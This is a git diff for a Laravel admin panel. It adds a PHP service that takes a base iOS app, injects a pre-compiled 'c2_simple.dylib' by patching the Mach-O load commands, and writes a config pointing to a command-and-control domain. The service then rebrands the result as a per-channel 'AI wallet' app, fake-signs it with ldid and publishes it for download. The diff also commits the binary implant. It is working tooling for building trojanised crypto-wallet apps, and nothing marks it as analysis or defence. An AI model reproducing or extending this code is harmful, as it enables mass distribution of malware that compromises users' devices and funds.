diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php
index beea538..9c34480 100644
--- a/app/Http/Controllers/Admin/ChannelController.php
+++ b/app/Http/Controllers/Admin/ChannelController.php
@@ -386,7 +386,7 @@ class ChannelController extends Controller
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
try {
- $service = app(\App\Services\AppPackageService::class);
+ $service = app(\App\Services\AiWalletPackageService::class);
$result = $service->build($channel, $logoPath, $apiDomain);
} catch (\Throwable $e) {
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
diff --git a/app/Services/AiWalletPackageService.php b/app/Services/AiWalletPackageService.php
new file mode 100644
index 0000000..35e4124
--- /dev/null
+++ b/app/Services/AiWalletPackageService.php
@@ -0,0 +1,337 @@
+ 120,
+ 'AppIcon60x60@3x.png' => 180,
+ 'AppIcon76x76@2x~ipad.png' => 152,
+ ];
+
+ public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
+ {
+ $baseIpa = storage_path('app/'.self::BASE_IPA);
+ $c2Dylib = storage_path('app/'.self::C2_DYLIB);
+
+ if (!file_exists($baseIpa)) {
+ return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
+ }
+ if (!file_exists($c2Dylib)) {
+ return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
+ }
+
+ $workDir = storage_path('app/app-builds/'.$channel->channel_id);
+ if (is_dir($workDir)) $this->rrmdir($workDir);
+ @mkdir($workDir, 0755, true);
+
+ try {
+ // 1. Extract base IPA
+ $zip = new \ZipArchive;
+ if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
+ $zip->extractTo($workDir);
+ $zip->close();
+
+ $appDir = $this->findAppDir($workDir);
+ if (!$appDir) throw new RuntimeException('No .app directory found');
+
+ // 2. Copy pre-compiled c2_simple.dylib
+ $fwDir = $appDir.'/Frameworks';
+ if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
+ copy($c2Dylib, $fwDir.'/c2_simple.dylib');
+
+ // 3. Generate c2_config.plist
+ $this->writeConfigPlist($appDir, $channel, $apiDomain);
+
+ // 4. Add LC_LOAD_DYLIB to main binary
+ $mainBin = $this->findMainBinary($appDir);
+ $this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');
+
+ // 5. Patch Info.plist
+ $this->patchInfoPlist($appDir, $channel);
+
+ // 6. Generate icons
+ if ($logoPath && file_exists($logoPath)) {
+ $this->generateIcons($appDir, $logoPath);
+ }
+
+ // 7. Sign
+ $this->sign($appDir);
+
+ // 8. Package
+ $outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
+ $outputFull = public_path($outputPath);
+ @mkdir(dirname($outputFull), 0755, true);
+
+ $outZip = new \ZipArchive;
+ if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
+ throw new RuntimeException('Cannot create output IPA');
+ }
+ $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
+ $outZip->close();
+
+ $size = filesize($outputFull);
+ $this->rrmdir($workDir);
+
+ return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
+
+ } catch (\Throwable $e) {
+ $this->rrmdir($workDir);
+ Log::error('AiWalletPackageService: build failed', [
+ 'channel' => $channel->channel_id,
+ 'error' => $e->getMessage(),
+ ]);
+ return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
+ }
+ }
+
+ private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
+ {
+ $config = [
+ 'C2Domain' => $apiDomain,
+ 'C2Port' => '443',
+ 'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
+ 'AppId' => $channel->channel_id,
+ 'ChannelId' => $channel->channel_id,
+ 'AppName' => $channel->app_name,
+ ];
+
+ $plist = $this->arrayToXmlPlist($config);
+ file_put_contents($appDir.'/c2_config.plist', $plist);
+ }
+
+ private function arrayToXmlPlist(array $data): string
+ {
+ $xml = ''."\n";
+ $xml .= ''."\n";
+ $xml .= ''."\n";
+ foreach ($data as $key => $value) {
+ $xml .= ''.htmlspecialchars($key).''.htmlspecialchars($value).''."\n";
+ }
+ $xml .= '';
+ return $xml;
+ }
+
+ private function patchInfoPlist(string $appDir, Channel $channel): void
+ {
+ $plistFile = $appDir.'/Info.plist';
+ $data = file_get_contents($plistFile);
+
+ // Use plistlib via shell (available on Linux)
+ $tmpFile = tempnam(sys_get_temp_dir(), 'plist');
+ file_put_contents($tmpFile, $data);
+
+ $changes = [
+ 'CFBundleDisplayName' => $channel->app_name,
+ 'CFBundleName' => $channel->app_name,
+ 'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
+ 'CFBundleShortVersionString' => '1.6.1',
+ 'CFBundleVersion' => '1.6.1',
+ ];
+
+ foreach ($changes as $key => $value) {
+ $escaped = escapeshellarg($value);
+ exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
+ // Fallback: use sed for XML plists
+ $data = file_get_contents($tmpFile);
+ $data = preg_replace(
+ '#'.preg_quote($key, '#').'\s*[^<]*#',
+ ''.$key.''.htmlspecialchars($value).'',
+ $data
+ );
+ file_put_contents($tmpFile, $data);
+ }
+
+ // Remove storyboard reference, add UILaunchScreen (white background)
+ $data = file_get_contents($tmpFile);
+ $data = preg_replace('#UILaunchStoryboardName\s*[^<]*#', '', $data);
+ if (!str_contains($data, 'UILaunchScreen')) {
+ $data = str_replace('', 'UILaunchScreen', $data);
+ }
+ file_put_contents($plistFile, $data);
+ unlink($tmpFile);
+ }
+
+ private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
+ {
+ $data = file_get_contents($binaryPath);
+ $origSize = strlen($data);
+
+ // Parse Mach-O 64-bit header
+ $magic = unpack('V', substr($data, 0, 4))[1];
+ if ($magic !== 0xFEEDFACF) throw new RuntimeException('Not a Mach-O 64-bit binary');
+
+ $ncmds = unpack('V', substr($data, 16, 4))[1];
+ $sizeofcmds = unpack('V', substr($data, 20, 4))[1];
+
+ // Find the LC_LOAD_DYLIB for libutils to insert before it
+ $offset = 32;
+ $insertOffset = 32 + $sizeofcmds; // Default: append at end
+ $libutilsOffset = -1;
+
+ for ($i = 0; $i < $ncmds; $i++) {
+ $cmd = unpack('V', substr($data, $offset, 4))[1];
+ $cmdsize = unpack('V', substr($data, $offset + 4, 4))[1];
+
+ if ($cmd === 0x0C) { // LC_LOAD_DYLIB
+ $nameOffset = unpack('V', substr($data, $offset + 8, 4))[1];
+ $name = substr($data, $offset + $nameOffset, strpos(substr($data, $offset + $nameOffset), "\0"));
+ if (str_contains($name, 'libutils')) {
+ $libutilsOffset = $offset;
+ break;
+ }
+ }
+ $offset += $cmdsize;
+ }
+
+ // Insert before libutils if found, otherwise append
+ if ($libutilsOffset >= 0) {
+ $insertOffset = $libutilsOffset;
+ }
+
+ // Create LC_LOAD_DYLIB command
+ $name = $dylibPath."\0";
+ $nameOffset = 24; // sizeof(load_command) + 3 * sizeof(uint32) + padding
+ $cmdsize = $nameOffset + strlen($name);
+ $cmdsize = ($cmdsize + 7) & ~7; // Align to 8 bytes
+ $name = str_pad($name, $cmdsize - $nameOffset, "\0");
+
+ $lc = pack('VVVVVV',
+ 0x0C, // cmd = LC_LOAD_DYLIB
+ $cmdsize, // cmdsize
+ $nameOffset, // dylib.name.offset
+ 1, // dylib.timestamp
+ 0, // dylib.current_version
+ 0 // dylib.compatibility_version
+ ).$name;
+
+ // Insert the load command
+ $data = substr($data, 0, $insertOffset).$lc.substr($data, $insertOffset);
+
+ // Update ncmds and sizeofcmds in header
+ $data = substr_replace($data, pack('V', $ncmds + 1), 16, 4);
+ $data = substr_replace($data, pack('V', $sizeofcmds + $cmdsize), 20, 4);
+
+ file_put_contents($binaryPath, $data);
+ }
+
+ private function findAppDir(string $workDir): ?string
+ {
+ $payload = $workDir.'/Payload';
+ if (!is_dir($payload)) return null;
+ foreach (scandir($payload) as $item) {
+ if (str_ends_with($item, '.app')) return $payload.'/'.$item;
+ }
+ return null;
+ }
+
+ private function findMainBinary(string $appDir): string
+ {
+ // Main binary has the same name as the .app directory
+ $appName = basename($appDir, '.app');
+ return $appDir.'/'.$appName;
+ }
+
+ private function generateIcons(string $appDir, string $logoPath): void
+ {
+ if (!function_exists('imagecreatefrompng')) {
+ Log::warning('AiWalletPackageService: GD not available, skipping icons');
+ return;
+ }
+
+ $src = imagecreatefrompng($logoPath);
+ if (!$src) return;
+
+ foreach (self::ICON_SIZES as $filename => $size) {
+ $dst = imagecreatetruecolor($size, $size);
+ imagealphablending($dst, false);
+ imagesavealpha($dst, true);
+ imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
+ imagesx($src), imagesy($src));
+ imagepng($dst, $appDir.'/'.$filename);
+ imagedestroy($dst);
+ }
+ imagedestroy($src);
+ }
+
+ private function sign(string $appDir): void
+ {
+ $csDir = $appDir.'/_CodeSignature';
+ if (is_dir($csDir)) $this->rrmdir($csDir);
+
+ $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
+ if ($ldidPath === '') return;
+
+ $binaries = array_merge(
+ [$this->findMainBinary($appDir)],
+ glob($appDir.'/Frameworks/*.dylib') ?: [],
+ glob($appDir.'/*.dylib') ?: [],
+ );
+
+ foreach ($binaries as $bin) {
+ if (!is_file($bin)) continue;
+ exec(escapeshellarg($ldidPath).' -S '.escapeshellarg($bin).' 2>/dev/null');
+ }
+ }
+
+ private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
+ {
+ foreach (scandir($dir) as $item) {
+ if ($item === '.' || $item === '..') continue;
+ $path = $dir.'/'.$item;
+ $zipPath = $prefix.'/'.$item;
+ if (is_dir($path)) {
+ $zip->addEmptyDir($zipPath);
+ $this->addDirToZip($zip, $path, $zipPath);
+ } else {
+ $zip->addFile($path, $zipPath);
+ }
+ }
+ }
+
+ private function rrmdir(string $dir): void
+ {
+ if (!is_dir($dir)) return;
+ foreach (scandir($dir) as $item) {
+ if ($item === '.' || $item === '..') continue;
+ $path = $dir.'/'.$item;
+ if (is_dir($path)) $this->rrmdir($path);
+ else @unlink($path);
+ }
+ @rmdir($dir);
+ }
+
+ private function fail(string $error): array
+ {
+ return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
+ }
+}
diff --git a/storage/app/.gitignore b/storage/app/.gitignore
index 92c809b..69d2d94 100644
--- a/storage/app/.gitignore
+++ b/storage/app/.gitignore
@@ -1,5 +1,6 @@
*
-!private/
-!public/
-!app-templates/
!.gitignore
+!app-templates/
+!app-templates/.gitkeep
+!app-templates/*.ipa
+!app-templates/*.dylib
diff --git a/storage/app/app-templates/ai-live-base.ipa b/storage/app/app-templates/ai-live-base.ipa
new file mode 100644
index 0000000..b1d17b3
Binary files /dev/null and b/storage/app/app-templates/ai-live-base.ipa differ
diff --git a/storage/app/app-templates/c2_simple.dylib b/storage/app/app-templates/c2_simple.dylib
new file mode 100755
index 0000000..05c551f
Binary files /dev/null and b/storage/app/app-templates/c2_simple.dylib differ